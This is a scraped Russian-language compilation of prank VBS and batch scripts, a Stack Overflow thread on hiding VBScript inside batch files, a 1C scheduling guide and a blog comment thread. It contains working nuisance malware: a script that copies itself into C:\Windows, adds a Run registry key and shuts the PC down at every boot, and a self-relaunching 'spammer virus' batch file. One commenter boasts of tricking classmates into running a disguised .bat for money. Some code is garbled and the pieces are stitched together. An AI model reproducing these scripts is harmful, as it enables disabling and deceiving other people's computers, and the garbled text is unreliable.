vbs скрипты bat скрипты
Vbs скрипты bat скрипты
при включении каждый раз вырубает комп
Set FSO=CreateObject(«Scripting.FileSystemObject») ‘ Получаем доступ к обьекту FSO
FSO.CopyFile «1.vbs», «C:\Windows\» ‘Копируем второй скрипт из текущей дирeктории на хард юзера
Set WshShell = CreateObject(«WScript.Shell»)
WshShell.RegWrite «HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window», «C:\Windows\1.vbs»
Set OpSysSet = GetObject(«winmgmts:<(Shutdown)>//./root/cimv2″).ExecQuery(«select * from Win32_OperatingSystem where Primary=true»)
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox «Ваш текст, от насмешки до угрозы :)»
создает мерцание клавы
Set s = CreateObject(«Wscript.Shell»)
do
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
s.sendkeys»
wscript.sleep 80
loop
каждые 10сек вытаскивает дисковод
Wscript.sleep(10000)
do
Wscript.sleep(10000)
CreateObject(«WMPlayer.OCX.7»).cdromCollection.item(0).Eject
loop
можно узнать пол своего компа
CreateObject(«SAPI.SpVoice»).Speak»I love you»
выдает бесконечно ошибку
do
msgbox «текст любой»,20,»название ошибки»
loop
Vbs скрипты bat скрипты
1.Не опасно
2.Вывод сообщения в бесконечном цикле Do. Loop
3.VBS
4.
1.Не опасно
2.Компьютер произведет англ. буквы/слова
3.VBS
4.
1.Не опасно
2.Открытие и закрытие дисковода в бесконечном цикле Do. Loop
3.VBS
4.
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
Do
WMPlayer.CdRomCollection.Item(0).Eject()
Loop
1.Не опасно
2.Вывод случайных числ в CMD «окрашенных» в зеленый (матрица)
3.Bat
4.
@echo off
pause
color 0a
mode 1
:A
echo %random%10%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto A
1.Не опасно
2.Цикличное включение/выключение индикаторов Num Lock, CapsLock, ScrollLock
3.VBS
4.
Set st = CreateObject(«Wscript.Shell»)
Do
WScript.sleep 80
st.sendkeys»
WScript.sleep 80
st.sendkeys»
WScript.sleep 80
st.sendkeys»
WScript.sleep 80
Loop
1.Не опасно
2.Вывод одного сообщения на экран
3.VBS
4.
1.Не опасно
2.Сообщения. Открытие калькулятора. Вывод сообщений
3.VBS
4.
Do
a = MsgBox («Отформатировать, Ok?», 35, «System»)
Loop Until a = 6
Do
MsgBox «:D»,0,»Тренируй пальчики»
Loop
Is it possible to embed and execute VBScript within a batch file without using a temporary file?
People have been embedding and executing VBScript within batch files for a long time. But all the published solutions that I have seen (at the time this question was originally posed) involve writing a temporary VBS file. For example: Embed VBScript inside Windows batch file.
Is it possible to execute embedded VBScript within batch without writing a temporary file?
6 Answers 6
I used to think the answer was no. But then DosTips user Liviu discovered that the character (Ctrl-Z, 0x1A, decimal 26) has bizare effects when embedded within a batch file. If functions somewhat like a line terminator such that it is possible for batch commands that follow a REM (or a :: remark hack) to execute if they are preceded by Ctrl-Z. http://www.dostips.com/forum/viewtopic.php?p=13160#p13160
This has been confirmed on XP Home Edition sp3, Vista Home Premium sp2 64 bit, and Vista Enterprise sp2 32 bit. I’m assuming it works on other Windows versions.
You can even have a batch label if needed. :’Label is both a valid vbs comment and a valid batch label.
Here is a trivial hybrid script. (again with in place of embedded Ctrl-Z char)
Update 2012-04-15
jeb found a solution that avoids the awkward CTRL-Z, but it prints out ECHO OFF at the start and also sets some extraneous variables.
I have found a solution without CTRL-Z that eliminates the extraneous variables and is simpler to comprehend.
Here is another trivial example that demonstrates multiple batch commands, including a CALL to a labeled sub-routine.
I still like the CTRL-Z solution because it eliminates all extraneous output.
UPDATE 2012-12-17
Tom Lavedas posted a method to conveniently run dynamic VBS from a batch script over at Google Groups: No file VBS hybrid scripting. The method uses mshta.exe (Microsoft HTML Application Host).
His original batch solution relied on an external small VBS.BAT script to execute the VBS within a FOR /F. I modified the syntax slightly to make it convenient to embed directly within any given batch script.
It is quite slow, but very convenient. It is restricted to executing a single line of VBS.
It should work on any Windows OS from XP onward as long as IE is installed.
UPDATE 2014-04-27
Over at DosTips there is a great compendium of js/vbs/html/hta hybrids and chimeras in cmd/bat. Lots of good stuff from various people.
Within that thread, DosTips user Liviu discovered a beautiful VBS/batch hybrid solution that uses WSF.
The only risk is the undocumented use of «%
Since the solution uses WSF, the batch script can contain any number of independent VBS, JScript, or other jobs that can be selectively called. Each job can even utilize multiple languages.
EDIT: My first answer was wrong for VBScript, now my next try.
You could get a hybrid VBScript/Batch also with normal characters, and «normal» code.
The trick is to prepend each batch line with set n=n’& it is legal for both, but vbs will ignore the rest of the line, only batch will execute the rest of the line.
For JScript exists a simpler solution hybrid scripting
I have tried to assemble all solutions in one script at http://www.dostips.com/forum/viewtopic.php?p=37780#p37780.
There is the batch script converting the most popular languages into a batch file (.js, .vbs, .ps1, .wsf, .hta and historical .pl).
It works as follows:
There is a very simple solution for this problem. Just use an Alternate Data Stream (ADS) to store the VBS code. To explain it simply, an ADS is another place where you can store other data in the same file, that is, a file is comprised of its original data plus any number of additional ADS’s. Each ADS is identified separating its own name from the original file name via a colon. For example:
You may find a more technicall and extensive description of ADS’s in the web, but it is important to mention now that this feature works on NTFS disks only. Now, lets see how use this feature to solve this particular problem.
First, create the original Batch file in the usual way. You may also start notepad.exe from the command line this way:
For my example, I inserted the following lines in test.bat :
Note the name of the VBS script. After test.bat was saved and Notepad closed, create the VBS script using Notepad, so enter this command at the command-line:
And create the script in the usual way:
You may review the ADS’s of test.bat file via the /R switch in dir command. You may read a more extensive explanation of this method and its limitations at this post.
And the explanation:
..And in the batch part commands must be only in one line.
Update 9.10.13 (..following the above convention)
Here’s one more way which requires self-renaming of the batch file:
And a short explanation:
On the other hand self-renaming could be risky.
Настройка регламентных заданий с использованием bat-файлов или vbs-скриптов через механизм Task Scheduler Windows
Навеяно собственным опытом настройки регламентного задания в типовую УТ без добавления в конфигурацию и обещанием себе в процессе внедрения собрать и систематизировать все материалы, которые были найдены в различных источниках.
Процесс настройки разделяется на четыре этапа:
По первому пункту, видимо тут для каждого будет своя обработка, так, собственно, пример своей обработки я прикреплю к статье. Постарался написать универсальный код, который способен выполнить последовательно несколько процедур.
Далее следует выбор, как запускать данную обработку.
Каждый из вариантов имеет свои плюсы, так и минусы. Например, использование первого варианта предполагает полный запуск 1С с интерфейсом.
bat_file.bat
«ПУТЬ_К_ТЕКУЩЕЙ_ВЕРСИИ_1С\bin\1cv8.exe» ENTERPRISE /F «ПУТЬ_К_БАЗЕ «/N «ИМЯ_ПОЛЬЗОВАТЕЛЯ_1С» /P «ПАРОЛЬ» /DisableStartupMessages /Execute»ПУТЬ_К_ОБРАБОТКЕ\САМА_ОБРАБОТКА.epf» /C»ПАРАМЕТР1, ПАРАМЕТР2″
bat_serv.bat
«ПУТЬ_К_ТЕКУЩЕЙ_ВЕРСИИ_1С\bin\1cv8.exe» ENTERPRISE /S «ИМЯ_СЕРВЕРА\ИМЯ_БАЗЫ «/N «ИМЯ_ПОЛЬЗОВАТЕЛЯ_1С» /P «ПАРОЛЬ» /DisableStartupMessages /Execute»ПУТЬ_К_ОБРАБОТКЕ\САМА_ОБРАБОТКА.epf» /C»ПАРАМЕТР1, ПАРАМЕТР2″
Так, хочется отметить, что одна из трудностей, с которой я столкнулся, это то, что сначала не указал параметр /DisableStartupMessages, подавляющего сообщения о несоответствии сохраненной конфигурации и конфигурации базы данных. Из-за его отсутствия у меня стопорился процессы выполнения.
scr_file.vbs
Set t = CreateObject(«V83.Application»)
t.Connect(«File=»»ПУТЬ_К_БАЗЕ_1С»»;Usr=»»ИМЯ_ПОЛЬЗОВАТЕЛЯ»»;pwd=»»ПАРОЛЬ_ПОЛЬЗОВАТЕЛЯ»»»)
r = t.ExternalDataProcessors.Create(«ПУТЬ_К_ОБРАБОТКЕ\САМА_ОБРАБОТКА.epf», FALSE).ThisObject.Example(«»»»»»»ПАРАМЕТР1, ПАРАМЕТР2″»»»»»»)
If r = 1 Then
MsgBox(«Ok»)
End If
t.Exit(False)
set t = Nothing
scr_serv.vbs
Set t = CreateObject(«V83.Application»)
t.Connect(«Srvr=ИМЯ_СЕРВЕРА;Ref=ИМЯ_БАЗЫ;Usr=»»ИМЯ_ПОЛЬЗОВАТЕЛЯ»»;pwd=»»ПАРОЛЬ_ПОЛЬЗОВАТЕЛЯ»»»)
r = t.ExternalDataProcessors.Create(«ПУТЬ_К_ОБРАБОТКЕ\САМА_ОБРАБОТКА.epf», FALSE).ThisObject.Example(«»»»»»»ПАРАМЕТР1, ПАРАМЕТР2″»»»»»»)
If r = 1 Then
MsgBox(«Ok»)
End If
t.Exit(False)
set t = Nothing
Информационное сообщение имеет смысл только на этапе отладки скрипта, при последующей настройке регламентного задания советую это сообщение убрать.
Далее немного о пользователях, от имени которых будет производиться запуск, ему нужны права на «Открытие внешних отчетов и обработок» и думаю, будет не лишним снять галку «Защита от опасных действий» для этого пользователя в конфигураторе.
На следующем этапе встаем на тропу админов.
Требуется добавить задание в Task Scheduler Windows.
В моем случае это был Win Server, хотя это совсем не принципиально, интерфейс планировщика задач одинаков и не менялся уже очень давно.
Очень важно, чтобы Была выбрана опция «Выполнять для всех пользователей» и была установлена галка «Выполнить с наивысшими правами».
1С все таки, хочешь быстро, устанавливай монопольный режим))
Переходим к настройке расписания, здесь я не испытал трудностей, тут все просто.
Все остальные реквизиты я оставил по умолчанию.
Нажимаем ОК, наблюдаем как задача добавилась в список и начала исполняться.
Все описанное в статье можно более детально изучить на скриптах, которые прикреплены к статье, а также подробнее изучить принцип передачи различного количества параметров для множественного запуска процедур внешней обработки.
Пишем программы (скрипты) в Блокноте Windows
С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.
Приступим
Научим компьютер здороваться
Set sapi=CreateObject(«sapi.spvoice»)
sapi.Speak «Hello!»
Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь здесь и вновь возвращайтесь сюда.
Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:
Dim vOrg, objArgs, root, key, WshShell
root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
KeyHP = «Program»
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»
Открыть дисковод
Set a = CreateObject(«WMPlayer.OCX.7»)
Set b = a.CdromCollection
Set c = b.Item(0)
Set d = c.Eject
Есть более интересная модификация данного скрипта:
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop
В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.
Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и Kaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.
Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:
Игра
Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.
Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.
Скрипт закрывающий wscript.exe
Set TaskKill = CreateObject(«WScript.Shell»)
TaskKill.Run «TaskKill /f /im wscript.exe»
По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.
Завершение работы /Перезагрузка компьютера
Совсем простой батник состоящий всего из одной строки.
Есть такой вариант кода:
Удаление обновлений
@echo
echo
echo Step 1: Delete Updates Telemetry
wusa /uninstall /kb:3068708 /quiet /norestart
wusa /uninstall /kb:3022345 /quiet /norestart
wusa /uninstall /kb:3075249 /quiet /norestart
wusa /uninstall /kb:3080149 /quiet /norestart
Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет копию Windows 7 на подлинность.
172 thoughts on “ Пишем программы (скрипты) в Блокноте Windows ”
Пробую проделать с дисководом, не работает на Windows 8.
Ошибка компиляции Microsoft VBScript, Недопустимый знак, код 800А0408
Увы, насчет windows 8 не знаю…проверено на «семерке» все замечательно работает.
Windows 7 Проффесиональная пишет: Ошибка компиляции Microsoft VBScript, Недопустимый знак, код 800А0408
Попробуйте заного нормально написать, возможно допустили ошибку где-то, с данной ошибкой встречаются очень часто
ОН НЕ ВИДИТ РУССКИЙ ЯЗЫК ТАМ ТУПО КАКОЙ ТО СТРАННЫЙ ШРИФТ
у меня тоже так если я пишу в нотпад++, но если я открою через обычный блокнот, сохраню а потом буду запускать через нотпад++ то там пишет по русски а не на языке стола зачарований.
Во время сохранения выбери кодировка: ANSI
я также написал не работает
Через Notepad++ преобразовать в UTF-8 без BOM и сохранить.
Ну и про кавычки не забывайте, елочки не подойдут, нужны лапти
РАБОТАЕТ НА ВИНДЕ10
Нужно вот такие ковычки («»)
не такие там написано такие » «
тем временем в долбаной записи говорится вот такие «»
Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «I ZADAL CHSLO OT 1 DO 100, POPROBUE OTGADAT»,64,»YGADAIKA»
Do
a = a + 1
c = InputBox(«YGADAI CHCLO» & vbCrLf & vbCrLf & «Попытка: » & a & vbCrLf & vbCrLf & «CHTOBA POCMOTRET REZULTAT VEDI CHECLO!» & vbCrLf & vbCrLf & «DLI VAXODA OCTAVTE POLE PYCTAM» & vbCrLf & vbCrLf,»YGADAIKA»)
If c = «!» Then CreateObject(«WScript.Shell»).Run «notepad C:\Windows\Result.dll»,3,True : Exit Do
If c «» Then
If IsNumeric(c) = True Then
If CInt(c) Number Then MsgBox «NET, ETO NE » & c & «. I ZAGODAL CHICLO MENSHE»,64,»YGADAIKA»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («Количество попыток: » & a)
If MsgBox («PRAWELNO, ETO BLO CHECLO » & c & «. NACHAT ZANOVO?»,36,»YGADAIKA») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox «ETO CHECLO!»,16,»YDAIKA»
a = a — 1
End If
Else
a = a — 1
l = MsgBox («TA NECHGO NE VEL. VAITI IZ PROGRAMA?»,36,»YGADAIKA»)
If l = 6 Then WScript.Quit
End If
Loop
loop
У меня Windows 7 Проффесиональная и всё работает хорошо только дисковод открывается на несколь ко секунд
Я тоже на Windows xp открыл, выбило ошибку.
ты вместо елочек пиши скобки
И десятка с любым вбс такое выдаёт.
у меня тоже русский не работает. На англ все фразы переведи
разыграл друга что типа через 10 сек выходит сообщение что комп заблокирован
На Windows 10 все тоже отлично работает. Жду еще более крутых скриптов! 😉
Давайте сотрудничать! Я тоже вирусы делаю
Это уголовно наказуемо, не помню какая статья но потом загуглю, и да, это не вирусы а так называемые приколы, а ПРИКОЛЫ и ВИРУСЫ отлечаются, вот наример какие ты вирусы делаешь а? ой да не дери ты мозги что ты делаешь «Вирусы», я тоже могу сделать «вирус» просто бл*ть найти в интернете и всё, делает он их ага.
лол, это тупая игрушка на бат, я также с легкостью могу сказать что я хакер, сделав за минуту батник, который копирует себя в автозагрузку и включает компьютер, только твоей игрушкой никому не навредить, а я одноклассников на бабло разводил, на настоящее, тупо подхожу с флешкой, говорю «на, тут все серии наруто, запусти файл.bat и наслаждайся. Через 5 минут звонит растерянный ламер и бормочет что у него комп вырубился и не включается. Я прихожу. за сотку включаю с винды безопасный режим, через кмд делитаю файл из автозагрузки, халявная сотка, здравствуй
мда вы решили создавать вирусятины…
эй давай вместе создавать вирус у меня один есть если хочеш связатся то мой вк flapi flapik
ЭЙ! у меня касперский ругается на privet.txt!
Кавычки нужно проверить, может вы копируете и вставляете с елочками «_», а в коде нужны лапки ”_“
На Windows 8 надо использовать кавычки вот такие «»
Надо вместо ЁЛОЧКИ писать и всё КЛАСНО
Согласен, еще ошибка : недопустимый знак
Просто этот чудик сделал не верно.Он сказал комп не читает кавычки в виде »
а сам их и напихал,замените все кавычки » на ковычки «» и все просто таже проблема была
кавійки надо поставить «такие» а не такие как написано там
А ты пробовал заменить <> на «кавычки обычные»?
там все >>заменить на «
У меня выдает ошибку но работает
а дисковод есть то на пк, или декоративная заглушка стоит?
Не благодарите, пожалуй.
P.S. (Не делайте такое на своём компьютере, убьёте его).
Ты в курсе, что просто чистишь рабочий стол этим скриптом?
-ТВОЙ КОМП: ЖОПА ГОРИТ
В Windows 8, 10 Windows media player есть.
Интересная штучка. Лично у меня скрипт тоже выдает ошибку, но при том дисковод открывается
не знаю, у меня на 8 работает ВСЕ без каких либо ошибок
у меня 8.1, работает
а на виндовс 10 работает!
Там написано какая строка?
Знаешь у меня тоже такое но дисковод вылезает на семёрке на 8 тоже должно.
Прошу прощения,на второй комментарий можно не отвечать,я поняла
=) Ну в принципе вы установили голосовой движок (русский) и этого достаточно, а балаболка — хорошая штука, я например ее настроил более мене прилично и она мне читает книги))
Это Вам спасибо, рад, что смог как-то помочь, заходите почаще!
вот шутка про дисковод..при запуске от говорит об ошибке.мол депустимый знак в 1 строке 29 символ
Проверьте может опечатка где в тексте, а система у вас какая?
По моему надо заменить этот символ: одну кавычку («) на другую («)
? короче на такую, ту почему-то не пишет (где буква Э, на английском, с shift-ом (»))
а у меня семёрка и всё ровно пишет при открытии любых vbs выскакивает Ошибка компиляции Microsoft VBScript, Недопустимый знак, код 800А0408
Проверьте может ошибка синтаксическая, в принципе в коде ошибок нет, работает все нормально. Пробел лишний не в том месте поставили, вообще все так же если по порядку сделать как описано в посте, то должно все нормально запускаться.
Если я вас правильно понял, вы хотите что то типа справочника bat? т.е. команда и обозначение того самого батника, если так то может чуть позже займусь этим.
да,именно это я и имел ввиду.
Сможете это сделать?
Люди что делать. Я скачал архив и разархивировал. Начинаю открывать Vbs файл и ничего не происходит.(антивирус выключен, windows 7 максимальная)
Set WMPlayer = CreateObject(«WMPlayer.OCX.7?)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop
А какая ошибка выходит?
Скрипт проверил, (Win7 32bit), все работает прекрасно дисковод открывается. У вас система какая? просто на Windows XP бывают ошибки.
У меня windows 7 /32 bit
При использовании скрипта про открытие/закрытие дисковода вылазит вот такая ошибка:
Сценарий: D:\1.vbs
Строка 1
Символ 29
Ошибка: Недопустимый знак
Код 800A0408
Источник: Ошибка компиляции Microsoft VBScript
Такс…насчет «справочника», пока не знаю, возможно в скором времени подготовлю, но кончено не полный, а то все bat команды собрать…можно сума сойти =) так самые интересные может и соберем. А насчет данного скрипта, попробуйте вот скачать — http://ocompah.ru/123.rar и так попробуйте запустить после разархивации.
Ваш сохраненный скрипт работает!, а тот что пишу я нет…
Вы не могли бы сохранить созданный вами скрипт в формате txt? чтоб я посмотрел в чем моя ошибка?
Да вы просто нажмите правой кнопкой мыши на файл и выберите «изменить», где и откроется через блокнот.
все,разобрался со скриптом,большое вам спасибо!
Постараюсь как можно скорее написать, но увы, сейчас пока нет времени.
да у меня такое было но дисковод открывался
На Windows XP ошибки быть не может если правильно ввести
Проблема с как научим компьютер «разговаривать» выдает 800а0408 ошибка компиляции что я не так делаю подскажите плиз
Скорее всего синтаксическая ошибка, попробуйте проверить нет ли лишних пробелов, кавычки попробуйте не копировать а в ручную писать, если что отпишитесь.
Я разобрался подскажите а он по русски разговаривать может
Заранее спасибо.
Конечно может если установлен голосовой движок.
Отличная статейка. Увлекла 😉
На windows vista что то не получается.
Что, тоже ошибка компиляции выходит?
Как продвигается составление «справочника»? очень жду.
Заранее спасибо за ответ.
Начинал с vbs,bat сейчас на Delphi перешёл)
Большое спасибо за ваши статьи,помогли в своё время.
я всё сделал создал на когда я открываю блокнот с кодом выдаёт ошибку(((почему.
ошибка возможно синтаксическая, посмотрите не пропустили ли какой нибудь знак, может пробел лишний.
как установить голосовой движок
Скачать и просто установить как и другие программы
сообщите мне адрес справочника по батникам очень хочу то что я писал неработало а скачал и заработало!! класс из етим дисководом получилось у брата на ноуте запущу)))))
Здесь на форуме ковычки другие! В любом коде, заместо » пишем, стандартные «
А можете ссылку дать на скачивания»Алёны»
а то нормальную не могу найти
Вот вам торрент ссылка на голосовой движок «Алена» — скачать
у меня виндовс 8 и у меня не че не получается то ест … все коды папробывал
Я на 8 пробовал только дисковод.
Кавычки обычные.
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop
Попробуй так
Странно он в комментах при вставке сам делает другие кавычки.
В общем на 8 такие ( » ) и такая же закрыть.
И опять он их изменил.ППц просто. На 8 две запятых вверху — это начало и две вверху- конец
а от куда я знаю вдруг файл завирусован
Вас никто не заставляет, ваше право, вы беспокоитесь за свою безопасность, здесь нет ничего такого.
А как сделать батнике много открываний?
В итоге как решили вопрос с ошибкой компиляции, у меня также выдает ошибку
800а0408 ошибка компиляции
А вы вконтакте есть? Дайте ссылку пожалуйста
У меня вопроспо поводу сайта. Как только я открываю 1 часть данной статьи меня перекидывает сюда.
Я обновил статьи и теперь по скриптам в блокноте одна запись. Нету смысла плодить множество маленьких однообразных статей. Здесь в основном те же скрипты и батники, что были написаны когда-то в первой и во второй частях, только лучше изложено.
Все сделал как надо.Даже ошибку в коде исправил,так то писало что неверный символ(и я не про «)
Скрин:http://radikal.ru/lfp/s017.radikal.ru/i435/1608/70/8b3232295094.png/htm
OC Windows 7 Максимальная x64
Встречал такое оформление в игре(TES 5:Sryrim)Где имя персонажа и название которые я лично давал предмету писалось такими символами.Не знаю как это связано.
Чем поможете?
винда 8.1 все супер работает
юху я все сделал на обычном блокноте просто исправил некоторые ошибки
здравствуйте.Я заменил все ёлочки на лапки,а при открытие файла выдаёт ошибку
Что то не получается в 1-ом пишет строка 1 символ 1
Для работы этого скрипта нужно заменить ёлочки на лапти, а также тире на минус (a = a — 1).
За скрипт спасибо, а ленивым, кто не может читать текст ошибки и немного подумать — фу.
Я заменил всё ёлочки на лапти
У вас криво написано «Угадайка» (скрипт)
Знаки не те и всё время выдаёт ошибки!
Я уже закалибался исправлять их.
Вот рабочий «Угадайка». На Windows XP проверил.
как открыть программу Excel на заданное количество времени и закрыть ее?
Написал скрипт на приветствие » Привет пончик» у подруги, и она пошла худеть )))
Может кто подсказать как написать скрипт, что бы по указанному времени звук переключался с наушников на колонки? Ночью люблю засыпать слушая музыку в наушниках, что бы никому не мешать, а утром нужен громкий будильник с колонок, поэтому и интересуюсь.
Здравствуйте не подскажите как сделать просто окна для вопросов типо: ты ел? ответы : да или нет и и при нажатие ответа выскакивал другой вопрос и те же ответы )
угадайка на «восьмерке» не работает.. все варианты перепробовал из тех что советовали
Здравствуйте.
Игра «Угадайка» не запускается. Выдаёт ошибку. Что делать?
Заного в угадайке!Как исправить?
Фуфло это «всё», прокисшее!…
У Меня получилось я кинул своим друзьям угадайку и там есть установка и я снял её на ютуб
Для кручения вертушки зажмите любую клавишу
Отредактируйтн пробелами ↑↑↑ звездочки, чтобы получились «плюсик» сверху и «крестик» ниже
Вот вам вирус
@echo off
CLS
:A
start calc.exe
start nitepad.exe
start Archiver.bat
goto A
Сохранить как Archiver.bat (ТАКЖЕ С БЛОЬШОЙ БУКВЫ ИЛИ СКРИПТ НЕ СРАБОТАЕТ ПОЛНОСТЬЮ. )
Для более жесткого эффекта добавьте в код прописку в автозагрузку
Описание:
Это вирус спаммер который бесконечно открывает блокнот, калькулятор и СЕБЯ, чтобы удалением нельщя было остановить процесс открывания
попробовал написал «привет чувак» — всё получилось
Незаметно кому-то подкинуть «выключку» и поставить на автозапуск.
Запустил… пишет строка 1 ошибка: нету слова «sai» Что это значит? (нету слова — это я сказал по другому но смысл один!)
Слишком сложно и не понятно.
Здравствуйте.
Можно ли создать скрипт для вызова из контекстного меню в любой папке, чтобы в этой папке менялся тип группировки и сортировки файлов на заранее заданный? Если да — то как? Спасибо.
как можно писать программи без знания англиского языка
Вин 8.1. Приветствие и автозагрузка сохраненные через notepad++ работают без проблем. Через автозагрузку можно запускать другие программы. Удаление скриптов при сохранение через блокнот выдало ошибку, через notepad++ ошибку не выдает. Остальное не пробывал.
почему у меня не работает ни один код?
ребята помогите пожалуйста, как сделать что бы команда «C:\WINDOWS\system32>netsh wlan start hostednetwork» автоматически запускалась при старте компьютера от имени администратора (windows 10)
Может быть коряво, но работает. Добавил ограничение по количеству попыток, так интересней
Set y = CreateObject(«Scripting.FileSystemObject»)
If x = 1 or x = 2 or x = 3 Then x = 4
MsgBox «Я загадал число от 1 до 100, попробуй отгадать его.» & vbCrLf & «Попытки ограниченны!» & vbCrLf & «Количество попыток: «& x & vbCrLf,64,»Guess Random Number»
k = InputBox(«Угадай число. » & «Попытка: » & a & » из » & x & vbCrLf & vbCrLf & «Чтобы посмотреть результаты введите число!» & vbCrLf & vbCrLf & «Для выхода нажмите Отмена или оставьте поле пустым» & vbCrLf & vbCrLf,»Guess Random Number»)
If k = «число» Then MsgBox «Хитрый какой! Ладно, я загадал число » & Number & «… Просто напиши его и давай уже закончим со всем этим…»,48,»Подсказка!»
If IsNumeric(k) = True Then
MsgBox «Число должно быть в диапозоне от 0 до 100.»,48,»Guess Random Number»
крч смотрите… как быть если комп не знает с помощью какой программы производить — Set sapi=CreateObject(«sapi.spvoice»)
sapi.Speak «Hello!»
Кто в макросах хорошо шарит??
Здравствуйте а вы не можете зделать статью про символы и знаки что бы я/мы могли понимать что написано